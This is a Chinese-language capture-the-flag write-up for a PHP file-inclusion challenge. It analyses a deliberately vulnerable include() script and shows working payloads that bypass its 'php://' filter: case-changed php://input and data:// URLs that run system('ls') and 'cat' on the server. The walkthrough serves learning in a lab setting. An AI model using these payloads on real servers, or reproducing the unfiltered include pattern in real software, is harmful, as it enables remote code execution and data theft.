[喫烤羊腿燙燙燙] Web_php_include 題解分析

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

0.分析代碼

我們先來分析一下代碼吧。

<?php
show_source(__FILE__);
echo $_GET['hello'];	//hello變量接受get傳參,可以利用hello顯示某些內容
$page=$_GET['page'];//page變量接受get傳參
while (strstr($page, "php://")) {	//檢查page變量中是否含有字符串“php://“
    $page=str_replace("php://", "", $page);	//將page變量中的“php://”用空字符串代替
}
include($page);//文件包含,可以執行page變量中的代碼。
?>

1.由include($page)看出本題的考點在於文件包含。
2.php://被過濾了。

1.文件包含漏洞是怎麼一回事?

文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼。
示例代碼

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

例如:
$ _GET[‘filename’]參數開發者沒有經過嚴格的過濾,直接帶入了include的函數,攻擊者可以修改$_GET[‘filename’]的值,執行非預期的操作。

所以我們想要找到flag,入手點就在於給page傳什麼值,利用include()函數,服務器會將傳入的參數執行,我們可以藉此得到服務器內部的信息。

2.給page傳什麼值

首先,我們想弄清楚flag在哪。
所以我們可以給page傳能顯示路徑下文件的命令。
例如:

<?php system("ls")?>
<?php system("dir")?>

其次,我們要決定,用什麼方法把命令傳到服務端。
1.我們可以選擇利用php://inpu協議,POST傳輸惡意代碼。
這個協議是PHP的內置URL封裝協議。
使用方法:
注意php://會被過濾,並且用於過濾的函數strstr()大小寫不敏感。所以我們可以把php://換成PHP://或PhP://等。
用burpsuite抓包,修改post傳遞的值。
在這裏插入圖片描述得到如下結果:
在這裏插入圖片描述我們可以看出,flag在fl4gisisish3r3.php這裏。

2.我們也可以用GET請求,data://text/plain;(base64,base64加密的內容)
也可以直接data://text/plain,內容
注意plain後是逗號不是分號.
php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼。
我們將<?php system("ls");?>進行base64編碼,得
Jmx0Oz9waHAgc3lzdGVtKCJscyIpOz8mZ3Q7

執行?page=data://text/plain,<?php system("ls")?>
我們得到:
在這裏插入圖片描述

3.查看fl4gisisish3r3.php的內容。

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

因爲php代碼不顯示,所以再查看網頁源代碼,得到flag。

不太懂的地方:
劃掉的地方

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章